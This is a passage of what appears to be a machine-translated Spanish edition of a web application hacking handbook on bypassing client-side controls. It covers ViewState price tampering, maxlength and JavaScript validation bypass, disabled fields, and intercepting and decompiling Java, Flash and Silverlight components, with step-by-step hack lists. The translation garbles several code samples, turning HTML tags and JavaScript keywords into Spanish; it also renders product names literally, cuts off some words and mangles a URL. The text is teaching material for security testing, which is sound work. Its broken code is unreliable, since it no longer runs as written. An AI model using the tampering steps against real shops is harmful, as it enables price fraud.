predeterminada en todas las aplicaciones web ASP.NET. Contiene información serializada sobre el
Estado de la página actual. La plataforma ASP.NET emplea ViewState para mejorar

el rendimiento del servidor. Permite que el servidor conserve elementos dentro de la
interfaz de usuario a través de solicitudes sucesivas sin necesidad de mantener toda
la información de estado relevante en el lado del servidor. Por ejemplo, el servidor
puede completar una lista desplegable en función de los parámetros enviados por el usuario.
Cuando el usuario realiza solicitudes posteriores, el navegador no envía el contenido de la
lista al servidor. Sin embargo, el navegador envía el campo ViewState oculto , que contiene
una forma serializada de la lista. El servidor deserializa ViewState y vuelve a crear la misma
lista que se presenta al usuario nuevamente.
Además de este propósito central de ViewState, los desarrolladores pueden usarlo para
almacenar información arbitraria en solicitudes sucesivas. Por ejemplo, en lugar de guardar
el precio del producto en un campo de formulario oculto, una aplicación puede guardarlo en
ViewState de la siguiente manera:
precio de cadena = obtenerPrecio(prodno);

ViewState.Add(“precio”, precio);
El formulario devuelto al usuario ahora se parece a esto:
<form method=”post” action=”Shop.aspx?prod=3”> <input type=”hidden”

name=”__VIEWSTATE” id=”__VIEWSTATE” value=”/
wEPDwULLTE1ODcxNjkwNjIPFgIeBXByaWNlBQMzOTlkZA==” />
Producto: HTC Avalancha <br/>
Precio: 399 <br/>
<br/>
</formulario>
Cuando el usuario envía el formulario, su navegador envía lo siguiente:
POST /shop/76/Shop.aspx?prod=3 HTTP/1.1

__VIEWSTATE=%2FwEPDwULLTE1ODcxNjkwNjIPFgIeBXByaWNlBQMzOTlkZA%3D%3D& cantidad=1
Aparentemente, la solicitud no contiene el precio del producto, solo la

cantidad pedida y el parámetro opaco ViewState . Cambiar ese parámetro
al azar da como resultado un mensaje de error y la compra no se procesa.
El parámetro ViewState es en realidad una cadena codificada en Base64 que se puede
decodificado fácilmente para ver el parámetro de precio que se ha colocado allí:
3D FF 01 0F 0F 05 0B 2D 31 35 38 37 31 36 39 30 ; =ÿ.....-15871690 36 32 0F 16 02 1E 05 70 72 69 63
65 05 03 33 39 ; 62.....precios..39
39 64 64 ; 9dd
SUGERENCIA Cuando intenta decodificar lo que parece ser una cadena

codificada en Base64, un error común es comenzar a decodificar en la posición
incorrecta dentro de la cadena. Debido a cómo funciona la codificación Base64, si
comienza en la posición incorrecta, la cadena decodificada contendrá un galimatías.
Base64 es un formato basado en bloques en el que cada 4 bytes de datos codificados se traducen en 3 bytes de dato
Por lo tanto, si sus intentos de decodificar una cadena Base64 no descubren nada
significativo, intente comenzar desde cuatro compensaciones adyacentes en la cadena codificada.
De forma predeterminada, la plataforma ASP.NET protege el ViewState de la manipulación al

agregarle un hash con clave (conocido como protección MAC). Sin embargo, algunas aplicaciones
deshabilitan esta protección predeterminada, lo que significa que puede modificar el valor de
ViewState para determinar si tiene un efecto en el procesamiento del lado del servidor de la aplicación.
Burp Suite incluye un analizador ViewState que indica si ViewState está
protegido por MAC, como se muestra en la Figura 5-3. Si no está protegido, puede
editar el contenido de ViewState dentro de Burp usando el editor hexadecimal
debajo del árbol de ViewState . Cuando envía el mensaje al servidor o al cliente,
Burp envía su ViewState actualizado y, en el presente ejemplo, le permite cambiar
el precio del artículo que se compra.
Figura 5-3: Burp Proxy puede decodificar y renderizar ViewState, lo que le permite revisar su
contenido y editarlo si la opción EnableViewStateMac no está configurada
¡INTENTALO!
PASOS DE HACK
1. Si está atacando una aplicación ASP.NET, verifique si la protección MAC

ción está habilitada para ViewState. Esto se indica mediante la presencia
de un hash de 20 bytes al final de la estructura ViewState, y puede usar el
analizador ViewState en Burp Suite para confirmar si está presente.
2. Incluso si ViewState está protegido, use Burp para decodificar ViewState
en varias páginas de la aplicación para descubrir si la aplicación está
usando ViewState para transmitir datos confidenciales a través del cliente.
3. Intente modificar el valor de un parámetro específico dentro del ViewState
sin interferir con su estructura y ver si aparece un mensaje de error.
4. Si puede modificar ViewState sin causar errores, debe revisar la función

de cada parámetro dentro de ViewState y ver si la aplicación lo usa para
almacenar datos personalizados. Intente enviar valores elaborados como
cada parámetro para investigar las capacidades de vulnerabilidades
comunes, como lo haría con cualquier otro elemento de datos que se
transmita a través del cliente.
5. Tenga en cuenta que la protección MAC se puede habilitar o deshabilitar en una página
por lo que puede ser necesario probar cada página importante de la
aplicación para detectar vulnerabilidades de pirateo de ViewState. Si está
utilizando Burp Scanner con el escaneo pasivo habilitado, Burp informa
automáticamente cualquier página que use ViewState sin la protección MAC habilitada.
Captura de datos de usuario: formularios HTML
La otra forma principal en la que las aplicaciones usan controles del lado del cliente para restringir
los datos enviados por los clientes ocurre con datos que no fueron especificados originalmente por
el servidor pero que fueron recopilados en la propia computadora del cliente.
Los formularios HTML son la forma más simple y común de capturar la entrada del usuario
y enviarla al servidor. Con los usos más básicos de este método, los usuarios escriben datos
en campos de texto con nombre, que se envían al servidor como pares de nombre/valor. Sin
embargo, los formularios se pueden utilizar de otras formas; pueden imponer restricciones o
realizar comprobaciones de validación de los datos proporcionados por el usuario. Cuando un
La aplicación emplea estos controles del lado del cliente como un mecanismo de seguridad
para defenderse contra entradas maliciosas, los controles generalmente se pueden eludir
fácilmente, dejando a la aplicación potencialmente vulnerable a un ataque.
Límites de longitud
Considere la siguiente variación del formulario HTML original, que impone una
longitud máxima de 1 en el campo de cantidad :
<form method=”post” action=”Shop.aspx?prod=1”> Producto: iPhone 5 <br/>
Precio: 449 <br/>

Cantidad: <tipo de entrada=”texto” nombre=”cantidad” maxlength=”1”> <br/> <tipo de entrada=”oculto”
nombre=”precio” valor=”449”> <tipo de entrada=”enviar” valor =”Comprar”>
</formulario>
Aquí, el navegador evita que el usuario ingrese más de un carácter en el campo

de entrada, por lo que la aplicación del lado del servidor puede suponer que el
parámetro de cantidad que recibe será inferior a 10. Sin embargo, esta restricción
puede eludirse fácilmente interceptando la solicitud que contiene el envío del
formulario para ingresar un valor arbitrario, o interceptando la respuesta que contiene
el formulario para eliminar el atributo de longitud máxima .
INTERCEPTAR RESPUESTAS
Cuando intenta interceptar y modificar las respuestas del servidor, puede encontrar
que el mensaje relevante que se muestra en su proxy se ve así:
HTTP/1.1 304 No modificado
Fecha: miércoles, 6 de julio de 2011 22:40:20 GMT
Etiqueta: "6c7-5fcc0900"
Caduca: Word, 7 de julio de 2011 00:40:20 GMT
Control de caché: edad máxima = 7200
Esta respuesta surge porque el navegador ya posee una copia en caché

del recurso que solicita. Cuando el navegador solicita un recurso almacenado en caché,
generalmente agrega dos encabezados a la solicitud: If-Modified-Since y
Si no coincide:
OBTENER /scripts/validate.js HTTP/1.1

Si se modifica desde: sábado 7 de julio de 2011 19:48:20 GMT
Si no coincide: "6c7-5fcc0900"
Estos encabezados le indican al servidor cuándo el navegador actualizó por última vez su copia en caché.
La cadena Etag, que el servidor proporcionó con esa copia del recurso, es una especie
de número de serie que el servidor asigna a cada recurso almacenable en caché.
Se actualiza cada vez que se modifica el recurso. Si el servidor posee una versión más
reciente del recurso que la fecha especificada en el encabezado If-Modified-Since, o si la
Etag de la versión actual coincide con la especificada en el encabezado If-None-Match, el
servidor responde con la última versión del recurso. De lo contrario, devuelve una respuesta
304, como se muestra aquí, informando al navegador que el recurso no ha sido modificado
y que el navegador debe usar su copia en caché.
Cuando esto ocurre, y necesita interceptar y modificar el recurso que el navegador ha

almacenado en caché, puede interceptar la solicitud relevante y eliminar los encabezados
If-Modified-Since y If-None-Match. Esto hace que el servidor responda con la versión completa
del recurso solicitado. Burp Proxy contiene una opción para eliminar estos encabezados de
cada solicitud, anulando así toda la información de caché enviada por el navegador.
PASOS DE HACK
1. Busque elementos de formulario que contengan un atributo de longitud máxima.

Envíe datos que sean más largos que esta longitud pero que tengan el formato
correcto en otros aspectos (por ejemplo, es numérico si la aplicación espera un número).
2. Si la aplicación acepta los datos demasiado largos, puede inferir que la validación del
lado del cliente no se replica en el servidor.
3. En función de la tramitación posterior que realice la solicitud

en el parámetro, es posible que pueda aprovechar los defectos en la validación para
explotar otras vulnerabilidades, como inyección de SQL, secuencias de comandos
entre sitios o desbordamientos de búfer.
Validación basada en scripts

Los mecanismos de validación de entrada incorporados en los propios formularios HTML son
extremadamente simples y no son lo suficientemente detallados para realizar la validación
relevante de muchos tipos de entrada. Por ejemplo, un formulario de registro de usuario puede
contener campos para nombre, dirección de correo electrónico, número de teléfono y código
postal, todos los cuales esperan diferentes tipos de entrada. Por lo tanto, es común ver la
validación de entrada personalizada del lado del cliente implementada dentro de los scripts.
Considere la siguiente variación del ejemplo original:
<form method=”post” action=”Shop.aspx?prod=2” onsubmit=”return validateForm(this)”>
Producto: Samsung Multiverso <br/>

Precio: 399 <br/>

<br/>
</formulario>
<script>función validarFormulario(elFormulario)
{
var esEntero = /^\d+$/; var valid =
isInteger.test(cantidad) && cantidad > 0 && cantidad <= 50;
si (!válido)
alert('Ingrese una cantidad válida');
devolución válida;
} </script>
¡INTENTALO!
El atributo onsubmit de la etiqueta del formulario indica al navegador que ejecute la

función ValidateForm cuando el usuario haga clic en el botón Enviar y que envíe el
formulario solo si esta función devuelve verdadero. Este mecanismo permite que la
lógica del lado del cliente intercepte un intento de envío de formulario, realice
comprobaciones de validación personalizadas en la entrada del usuario y decida si acepta esa entrada.
En el ejemplo anterior, la validación es simple; comprueba si los datos introducidos en
el campo de importe son enteros y están entre 1 y 50.
Los controles del lado del cliente de este tipo suelen ser fáciles de eludir. Por lo
general, es suficiente con deshabilitar JavaScript en el navegador. Si se hace esto, el
atributo onsubmit se ignora y el formulario se envía sin ninguna validación personalizada.
Sin embargo, deshabilitar JavaScript puede dañar la aplicación si depende de las

secuencias de comandos del lado del cliente para su funcionamiento normal (como la
construcción de partes de la interfaz de usuario). Un enfoque más ordenado es ingresar
un valor benigno (bien conocido) en el campo de entrada del navegador, interceptar el
envío validado con su proxy y modificar los datos al valor deseado. Esta suele ser la
forma más fácil y elegante de vencer la validación basada en JavaScript.
Alternativamente, puede interceptar la respuesta del servidor que contiene la rutina
de validación de JavaScript y modificar el script para neutralizar su efecto; en el ejemplo
anterior, al cambiar la función ValidateForm para que devuelva verdadero en todos los
casos.
PASOS DE HACK
1. Identifique cualquier caso en el que se use JavaScript del lado del cliente para realizar entradas
validación antes del envío del formulario.
2. Enviar datos al servidor que normalmente tendría la validación

bloqueado, ya sea modificando la solicitud de envío para inyectar datos no válidos o
modificando el código de validación del formulario para neutralizarlo.
3. Al igual que con las restricciones de longitud, determine si los controles del lado del cliente
se replican en el servidor y, de no ser así, si esto puede explotarse con fines
malintencionados.
4. Tenga en cuenta que si varios campos de entrada están sujetos a la validación del lado
del cliente antes del envío del formulario, debe probar cada campo individualmente
con datos no válidos y dejar valores válidos en todos los demás campos. Si envía datos
no válidos en varios campos simultáneamente, es posible que el servidor deje de procesar
el formulario cuando identifique el primer campo no válido. Por lo tanto, su prueba no
alcanzará todas las rutas de código posibles dentro de la aplicación.
NOTA Las rutinas de JavaScript del lado del cliente para validar la entrada del usuario son
comunes en las aplicaciones web, pero no concluya que todas esas aplicaciones son
vulnerables. La aplicación está expuesta solo si la validación del lado del cliente no se replica
en el servidor, e incluso entonces solo si la entrada manipulada que elude la validación del lado
del cliente puede usarse para causar algún comportamiento no deseado por parte de la aplicación.
En la mayoría de los casos, la validación del lado del cliente de la entrada del usuario tiene
efectos beneficiosos sobre el rendimiento de la aplicación y la calidad de la experiencia del
usuario. Por ejemplo, al completar un formulario de registro detallado, un usuario común puede
cometer varios errores, como omitir campos obligatorios o formatear incorrectamente su número
de teléfono. En ausencia de validación del lado del cliente, la corrección de estos errores puede
implicar varias recargas de la página y mensajes de ida y vuelta al servidor. La implementación
de controles de validación básicos en el lado del cliente hace que la experiencia del usuario sea
mucho más fluida y reduce la carga en el servidor.
Elementos deshabilitados
Si un elemento en un formulario HTML se marca como deshabilitado, aparece en la pantalla,

pero generalmente está atenuado y no se puede editar ni usar de la forma en que se puede
usar un control ordinario. Además, no se envía al servidor cuando se envía el formulario.
Por ejemplo, considere el siguiente formulario:
<método de formulario=”post” acción=”Shop.aspx?prod=5”>

Producto: Blackberry Rude <br/>
Precio: <input type=”text” disabled=”true” name=”price” value=”299”>
<br/>
<br/>
</formulario>
Esto incluye el precio del producto como un campo de texto deshabilitado y aparece
en pantalla como se muestra en la Figura 5-4.
Figura 5-4: Un formulario que contiene un campo de entrada deshabilitado
Cuando se envía este formulario, solo el parámetro de cantidad se envía al

servidor. Sin embargo, la presencia de un campo deshabilitado sugiere que la
aplicación pudo haber utilizado originalmente un parámetro de precio , tal vez
con fines de prueba durante el desarrollo. Este parámetro se habría enviado al
servidor y es posible que la aplicación lo haya procesado. En esta situación,
definitivamente debe probar si la aplicación del lado del servidor aún procesa este parámetro.
Si es así, trate de explotar este hecho.
¡INTENTALO!
PASOS DE HACK
1. Busque elementos deshabilitados dentro de cada formulario de la aplicación. Siempre

que encuentre uno, intente enviarlo al servidor junto con los otros parámetros del
formulario para determinar si tiene algún efecto.
2. A menudo, los elementos de envío se marcan como deshabilitados para que los
botones aparezcan atenuados en contextos cuando la acción relevante no está
disponible. Siempre debe intentar enviar los nombres de estos elementos para
determinar si la aplicación realiza una verificación del lado del servidor antes de
intentar llevar a cabo la acción solicitada.
3. Tenga en cuenta que los navegadores no incluyen elementos de formulario

deshabilitados cuando se envían formularios. Por lo tanto, no los identificará si
simplemente recorre la funcionalidad de la aplicación, monitoreando las solicitudes
emitidas por el navegador. Para identificar elementos deshabilitados, debe
monitorear las respuestas del servidor o ver la fuente de la página en su navegador.
4. Puede usar la función de modificación de HTML en Burp Proxy para volver a habilitar
automáticamente cualquier campo deshabilitado que se use dentro de la aplicación.
Captura de datos de usuario: extensiones del navegador
Además de los formularios HTML, el otro método principal para capturar, validar y enviar datos
de usuario es usar un componente del lado del cliente que se ejecuta en una extensión del
navegador, como Java o Flash. Cuando se emplearon por primera vez en aplicaciones web, las
extensiones de navegador a menudo se usaban para realizar tareas simples y, a menudo,
cosméticas. Ahora, las empresas utilizan cada vez más extensiones de navegador para crear
componentes del lado del cliente totalmente funcionales. Estos se ejecutan dentro del navegador,
en múltiples plataformas de clientes y brindan retroalimentación, fl exibilidad y manejo de una
aplicación de escritorio . Un efecto secundario es que las tareas de procesamiento que
anteriormente habrían tenido lugar en el servidor pueden descargarse en el cliente por razones
de velocidad y experiencia del usuario. En algunos casos, como las aplicaciones comerciales
en línea, la velocidad es tan crítica que gran parte de la lógica de la aplicación clave tiene lugar
en el lado del cliente. El diseño de la aplicación puede sacrifi car deliberadamente la seguridad
en favor de la velocidad, quizás con la creencia errónea de que los comerciantes son usuarios
confiables o que la extensión del navegador incluye sus propias defensas. Al recordar el
problema central de seguridad discutido en el Capítulo 2 y las secciones anteriores de este
capítulo, sabemos que el concepto de un componente del lado del cliente que defiende su lógica comercial es impo
Las extensiones del navegador pueden capturar datos de varias maneras: a través de
formularios de entrada y, en algunos casos, interactuando con el registro o el sistema de
archivos del sistema operativo del cliente . Pueden realizar validaciones y manipulaciones
arbitrariamente complejas de los datos capturados antes de enviarlos al servidor. Además,
debido a que su funcionamiento interno es menos transparente que los formularios HTML y
JavaScript, es más probable que los desarrolladores asuman que la validación que realizan no
se puede eludir. Por esta razón, las extensiones de navegador suelen ser un objetivo fructífero
para descubrir vulnerabilidades dentro de las aplicaciones web.
Un ejemplo clásico de una extensión de navegador que aplica controles en el lado del cliente
es un componente de casino. Dado lo que hemos observado sobre la naturaleza falible de los
controles del lado del cliente, la idea de implementar una aplicación de juegos de apuestas en
línea utilizando una extensión de navegador que se ejecuta localmente en el sitio de un atacante potencial
La máquina es intrigante. Si algún aspecto del juego se controla dentro del

cliente en lugar del servidor, un atacante podría manipular el juego con precisión
para mejorar las probabilidades, cambiar las reglas o alterar los puntajes
enviados al servidor. Varios tipos de ataques podrían ocurrir en este escenario:
n Se puede confiar en el componente del cliente para mantener el estado del juego. En este caso,
la manipulación local del estado del juego le daría al atacante una ventaja en el juego.
n Un atacante podría eludir un control del lado del cliente y realizar una acción ilegal
diseñado para darse una ventaja dentro del juego.
n Un atacante podría encontrar una función, parámetro o recurso oculto que, cuando se invoca,
permite el acceso ilegítimo a un recurso del lado del servidor. n Si en el juego participan
compañeros o un jugador interno, el componente del cliente podría estar recibiendo y procesando
información sobre otros jugadores que, de conocerse, podría utilizarse en beneficio del atacante.
Tecnologías comunes de extensión del navegador

Las tecnologías de extensión del navegador que es más probable que encuentre son los subprogramas
de Java, Flash y Silverlight. Debido a que estos compiten para lograr objetivos similares, tienen
propiedades similares en su arquitectura que son relevantes para la seguridad:
n Se compilan en un código de bytes intermedio. n Se ejecutan
dentro de una máquina virtual que proporciona un entorno de espacio aislado

ment para la ejecución.
n Pueden usar marcos remotos que empleen serialización para transmitir estructuras de datos u
objetos complejos a través de HTTP.
Java
Los subprogramas de Java se ejecutan en la máquina virtual de Java (JVM) y están sujetos al
sandboxing aplicado por la política de seguridad de Java. Debido a que Java ha existido desde los
inicios de la historia de la web, y debido a que sus conceptos básicos se han mantenido relativamente
sin cambios, hay disponible una gran cantidad de conocimientos y herramientas para atacar y defender
los applets de Java, como se describe más adelante en este capítulo.
Destello
Los objetos Flash se ejecutan en la máquina virtual Flash y, al igual que los subprogramas de Java,
se encuentran en un espacio aislado del equipo host. Una vez que se usó en gran medida como un
método para entregar contenido animado, Flash ha avanzado. Con versiones más recientes de ActionScript,
Flash ahora se anuncia directamente como capaz de ofrecer aplicaciones de escritorio

completas . Un cambio clave reciente en Flash es ActionScript 3 y su capacidad remota
con serialización de formato de mensaje de acción (AMF).
Luz plateada
Silverlight es la alternativa de Microsoft a Flash. Está diseñado con el objetivo similar de

habilitar aplicaciones ricas similares a las de un escritorio, lo que permite que las aplicaciones
web brinden una experiencia .NET reducida dentro del navegador, en un entorno de espacio aislado.
Técnicamente, las aplicaciones de Silverlight se pueden desarrollar en cualquier lenguaje
compatible con .NET, desde C# hasta Python, aunque C# es, con mucho, el más común.
Enfoques de las extensiones del navegador

Debe emplear dos técnicas amplias cuando se dirige a aplicaciones que usan componentes
de extensión del navegador.
Primero, puede interceptar y modificar las solicitudes realizadas por el componente y las
respuestas recibidas del servidor. En muchos casos, esta es la forma más rápida y sencilla de
comenzar a probar el componente, pero es posible que encuentre varias limitaciones. Los
datos que se transmiten pueden ofuscarse o cifrarse, o pueden serializarse mediante esquemas
específicos de la tecnología que se utiliza. Al observar únicamente el tráfico generado por el
componente, es posible que pase por alto alguna funcionalidad clave o lógica comercial que
solo se puede descubrir analizando el componente en sí. Además, puede encontrar obstáculos
para usar su proxy de interceptación de la manera normal; sin embargo, normalmente se
pueden eludir con una configuración cuidadosa, como se describe más adelante en este
capítulo.
En segundo lugar, puede apuntar al componente en sí mismo directamente e intentar
descompilar su código de bytes para ver la fuente original o interactuar dinámicamente con el
componente usando un depurador. Este enfoque tiene la ventaja de que, si se realiza de forma
minuciosa, se identifica toda la funcionalidad que admite o hace referencia el componente.
También le permite modificar los datos clave enviados en las solicitudes al servidor,
independientemente de los mecanismos de ofuscación o cifrado utilizados para los datos en
tránsito. Una desventaja de este enfoque es que puede consumir mucho tiempo y puede
requerir una comprensión detallada de las tecnologías y los lenguajes de programación
utilizados en el componente.
En muchos casos, una combinación de estas dos técnicas es apropiada. Él
Las siguientes secciones analizan cada una con más detalle.
Interceptar el tráfico de las extensiones del navegador

Si su navegador ya está configurado para usar un proxy de interceptación y la aplicación carga
un componente de cliente usando una extensión del navegador, es posible que vea solicitudes
de este componente pasando a través de su proxy. En algunos casos, usted
no necesita hacer nada más para comenzar a probar la funcionalidad relevante, ya

que puede interceptar y modificar las solicitudes del componente de la forma habitual.
En el contexto de omitir la validación de entrada del lado del cliente que se implementa en una
extensión del navegador, si el componente envía los datos validados al servidor de forma
transparente, estos datos se pueden modificar utilizando un proxy de interceptación de la misma
manera que ya se describió para el formulario HTML. datos. Por ejemplo, una extensión del
navegador que admita un mecanismo de autenticación podría capturar las credenciales del usuario,
realizar alguna validación sobre ellas y enviar los valores al servidor como parámetros de texto sin
formato dentro de la solicitud. La validación se puede eludir fácilmente sin realizar ningún análisis o
ataque al componente en sí.
En otros casos, puede encontrar varios obstáculos que dificultan su prueba.
difícil, como se describe en las siguientes secciones.
Manejo de datos serializados

Las aplicaciones pueden serializar datos u objetos antes de transmitirlos dentro de las solicitudes
HTTP. Aunque es posible descifrar algunos de los datos basados en cadenas simplemente
inspeccionando los datos serializados sin procesar, en general, debe desempaquetar los datos
serializados antes de poder comprenderlos por completo. Y si desea modificar los datos para
interferir con el procesamiento de la aplicación, primero debe desempaquetar el contenido
serializado, editarlo según sea necesario y volver a serializarlo correctamente. La simple edición de
los datos serializados sin procesar romperá casi con seguridad el formato y provocará un error de
análisis cuando la aplicación procese el mensaje.
Cada tecnología de extensión de navegador viene con su propio esquema para serializar datos
dentro de mensajes HTTP. En general, por lo tanto, puede inferir el formato de serialización según
el tipo de componente de cliente que se está empleando, pero el formato suele ser evidente en
cualquier caso a partir de una inspección minuciosa de los mensajes HTTP relevantes.
Serialización de Java
El lenguaje Java contiene soporte nativo para la serialización de objetos, y los subprogramas
de Java pueden usar esto para enviar estructuras de datos serializados entre los componentes
de la aplicación cliente y servidor. Los mensajes que contienen objetos Java serializados
generalmente se pueden identificar porque tienen el siguiente encabezado de tipo de contenido :
Tipo de contenido: aplicación/x-java-objeto serializado
Habiendo interceptado los datos serializados sin procesar usando su proxy, puede deserializarlos
usando el propio Java para obtener acceso a los elementos de datos primitivos que contiene.
DSer es un complemento útil para Burp Suite que proporciona un marco para
ver y manipular objetos Java serializados que han sido interceptados dentro de Burp.
Esta herramienta convierte los datos primitivos dentro del objeto interceptado en formato XML para
facilitar la edición. Cuando haya modificado los datos relevantes, DSer vuelve a serializar el objeto
y actualiza la solicitud HTTP en consecuencia.
Puede descargar DSer y obtener más información sobre cómo funciona en la

siguiente URL:
http://blog.andlabs.org/2010/09/re-visiting-java-de-serialization-it.html
Serialización Flash
Flash usa su propio formato de serialización que se puede usar para transmitir estructuras de
datos complejas entre los componentes del servidor y el cliente. El formato de mensaje de acción
(AMF) normalmente se puede identificar a través del siguiente encabezado de tipo de contenido :
Tipo de contenido: aplicación/x-amf
Burp admite de forma nativa el formato AMF. Cuando identifica una solicitud o respuesta HTTP
que contiene datos AMF serializados, desempaqueta el contenido y lo presenta en forma de árbol
para verlo y editarlo, como se muestra en la Figura 5-5. Cuando haya modificado los elementos
de datos primitivos relevantes dentro de la estructura, Burp vuelve a serializar el mensaje y puede
reenviarlo al servidor o cliente para que lo procese.
Figura 5-5: Burp Suite es compatible con el formato AMF y le permite ver y editar los
datos deserializados
Serialización de Silverlight
Las aplicaciones de Silverlight pueden utilizar el marco de comunicación remota de Windows
Communication Foundation (WCF) integrado en la plataforma .NET. Los componentes de
cliente de Silverlight que utilizan WCF suelen emplear el formato binario .NET de Microsoft
para SOAP (NBFS), que se puede identificar a través del siguiente encabezado de tipo de contenido :
Tipo de contenido: aplicación/soap+msbin1
Hay un complemento disponible para Burp Proxy que deserializa automáticamente los datos
codificados de NBFS antes de que se muestren en la ventana de intercepción de Burp. Una vez
que haya visto o editado los datos decodificados, el complemento vuelve a codificar los datos
antes de enviarlos al servidor o al cliente para su procesamiento.
El complemento binario SOAP de WCF para Burp fue producido por Brian Holyfield
y está disponible para descargar aquí:
www.gdssecurity.com/l/b/2009/11/19/wcf-binary-soap-plug-in-for-burp/
Obstáculos para interceptar el tráfico de las extensiones del navegador
Si configuró su navegador para usar un proxy de interceptación, es posible que descubra que las
solicitudes realizadas por los componentes de la extensión del navegador no están siendo
interceptadas por su proxy o están fallando. Este problema generalmente se debe a problemas
con el manejo del componente de proxies HTTP o SSL (o ambos). Por lo general, se puede
manejar a través de una configuración cuidadosa de sus herramientas.
El primer problema es que es posible que el componente del cliente no respete la configuración
del proxy que ha especificado en su navegador o en la configuración de su computadora. Esto se
debe a que los componentes pueden emitir sus propias solicitudes HTTP, fuera de las API
proporcionadas por el propio navegador o el marco de la extensión. Si esto sucede , aún puede
interceptar las solicitudes del componente. Debe modificar el archivo de hosts de su computadora
para lograr la intercepción y configurar su proxy para que admita el proxy invisible y la redirección
automática al host de destino correcto. Consulte el Capítulo 20 para obtener más detalles sobre
cómo hacerlo.
El segundo problema es que el componente del cliente puede no aceptar el certificado SSL
presentado por su proxy de intercepción. Si su proxy utiliza un certificado autofirmado genérico y
ha configurado su navegador para que lo acepte, el componente de extensión del navegador
puede rechazar el certificado de todos modos. Esto puede deberse a que la extensión del
navegador no detecta la configuración del navegador para certificados de confianza temporales,
o puede deberse a que el propio componente requiere mediante programación que no se acepten
certificados que no son de confianza.
En cualquier caso, puede sortear este problema configurando su proxy para usar un certificado
de CA maestro, que se usa para firmar certificados válidos por host para cada sitio que visita, e
instalando el certificado de CA en el certificado de confianza de su computadora. tienda de cate.
Consulte el Capítulo 20 para obtener más detalles sobre cómo hacerlo.
En algunos casos raros, puede encontrar que los componentes del cliente se comunican
usando un protocolo diferente a HTTP, que simplemente no se puede manejar usando un
proxy interceptor. En estas situaciones, es posible que aún pueda ver y modificar el
tráfico afectado utilizando un rastreador de red o una herramienta de enlace de funciones.
Un ejemplo es Echo Mirage, que puede inyectarse en un proceso e interceptar
llamadas a API de socket, lo que le permite ver y modificar datos antes de que se
envíen a través de la red. Echo Mirage se puede descargar desde la siguiente URL:
www.bindshell.net/tools/echomirage
PASOS DE HACK
1. Asegúrese de que su proxy esté interceptando correctamente todo el tráfico de la

extensión del navegador. Si es necesario, use un sniffer para identificar cualquier tráfico
que no esté siendo enviado correctamente.
2. Si el componente del cliente usa un esquema de serialización estándar, asegúrese de

tener las herramientas necesarias para desempaquetarlo y modificarlo. Si el componente
utiliza un mecanismo de cifrado o codificación patentado, debe descompilar o depurar
el componente para probarlo por completo.
3. Revise las respuestas del servidor que activan la lógica clave del lado del cliente. A
menudo, la interceptación oportuna y la modificación de una respuesta del servidor
pueden permitirle "desbloquear" la GUI del cliente, lo que facilita la revelación y luego
la realización de acciones privilegiadas complejas o de varias etapas.
4. Si la aplicación realiza cualquier lógica crítica o eventos en los que no se debe confiar
en el componente del cliente (como sacar una carta o tirar los dados en una aplicación
de apuestas), busque cualquier correlación entre la ejecución de la lógica crítica y la
comunicación con el servidor. Si el cliente no se comunica con el servidor para
determinar el resultado del evento, la aplicación es definitivamente vulnerable.
Descompilar extensiones de navegador

Con mucho, el método más completo para atacar un componente de extensión del
navegador es descompilar el objeto, realizar una revisión completa del código fuente y, si
es necesario, modificar el código para cambiar el comportamiento del objeto y volver a
compilarlo. Como ya se discutió, las extensiones del navegador se compilan en bytecode.
Bytecode es una representación binaria independiente de la plataforma de alto nivel que
puede ser ejecutada por el intérprete relevante (como Java Virtual Machine o Flash Player),
y cada tecnología de extensión del navegador usa su propio formato de bytecode. Como
resultado, la aplicación puede ejecutarse en cualquier plataforma en la que pueda ejecutarse el propio intérpret
La naturaleza de alto nivel de la representación del código de bytes significa que,
en teoría, siempre es posible descompilar el código de bytes en algo parecido al código
fuente original. Sin embargo, se pueden implementar varias técnicas defensivas para
hacer que el descompilador falle o para generar un código descompilado que es muy
difícil de seguir e interpretar.
Sujeto a estas defensas de ofuscación, la descompilación del código de bytes normalmente es la

ruta preferible para comprender y atacar los componentes de la extensión del navegador.
Esto le permite revisar la lógica comercial, evaluar la funcionalidad completa de la aplicación del lado
del cliente y modificar su comportamiento de manera específica.
Descarga del código de bytes

El primer paso es descargar el código de bytes ejecutable para que pueda comenzar a trabajar . En
general, el código de bytes se carga en un solo archivo desde una URL especificada dentro del código
fuente HTML para las páginas de la aplicación que ejecutan la extensión del navegador.
Los applets de Java generalmente se cargan usando la etiqueta <applet> , y otros componentes
generalmente se cargan usando la etiqueta <object> . Por ejemplo:
<código del applet=”CheckQuantity.class” codebase=”/scripts” id=”CheckQuantityApplet”>
</applet>
En algunos casos, la URL que carga el código de bytes puede ser menos obvia de inmediato , ya
que el componente puede cargarse utilizando varios scripts de envoltorio proporcionados por los
diferentes marcos de extensión del navegador. Otra forma de identificar la URL para el código de bytes
es buscar en su historial de proxy después de que su navegador haya cargado la extensión del
navegador. Si adopta este enfoque, debe tener en cuenta dos posibles obstáculos:
n Algunas herramientas de proxy aplican fi ltros al historial de proxy para ocultar de la vista
elementos como imágenes y archivos de hojas de estilo que generalmente le interesan menos.
Si no puede encontrar una solicitud para el código de bytes de la extensión del navegador, debe
modificar el proxy. Filtro de visualización de historial para que todos los elementos sean visibles.
Los navegadores generalmente almacenan en caché el código de bytes descargado para los
componentes de extensión de manera más agresiva que para otros recursos estáticos, como las imágenes.
Si su navegador ya ha cargado el código de bytes para un componente, es posible que incluso
si realiza una actualización completa de una página que usa el componente, el navegador no
solicite el componente nuevamente. En esta eventualidad, es posible que deba borrar
completamente el caché de su navegador, cerrar todas las instancias del navegador y luego
iniciar una nueva sesión del navegador para obligar a su navegador a solicitar el código de bytes
nuevamente.
Cuando haya identificado la URL para el código de bytes de la extensión del navegador, por lo
general puede simplemente pegar esta URL en la barra de direcciones de su navegador. Luego, su
navegador le solicita que guarde el archivo de código de bytes en su sistema de archivos local.
SUGERENCIA Si ha identificado la solicitud del código de bytes en su historial de

Burp Proxy y la respuesta del servidor contiene el código de bytes completo (y no
una referencia a una copia anterior en caché), puede guardar el código de bytes directamente en el archivo.
desde dentro de Burp. La forma más confiable de hacerlo es seleccionar la pestaña Encabezados
dentro del visor de respuestas, hacer clic con el botón derecho en el panel inferior que contiene
el cuerpo de la respuesta y seleccionar Copiar a archivo en el menú contextual.
Descompilación del código de bytes
El código de bytes generalmente se distribuye en un paquete de un solo archivo, que puede ser necesario
desempaquetar para obtener los archivos de código de bytes individuales para descompilarlos en el código
fuente.
Los applets de Java normalmente se empaquetan como archivos .jar (archivo Java), y los objetos de
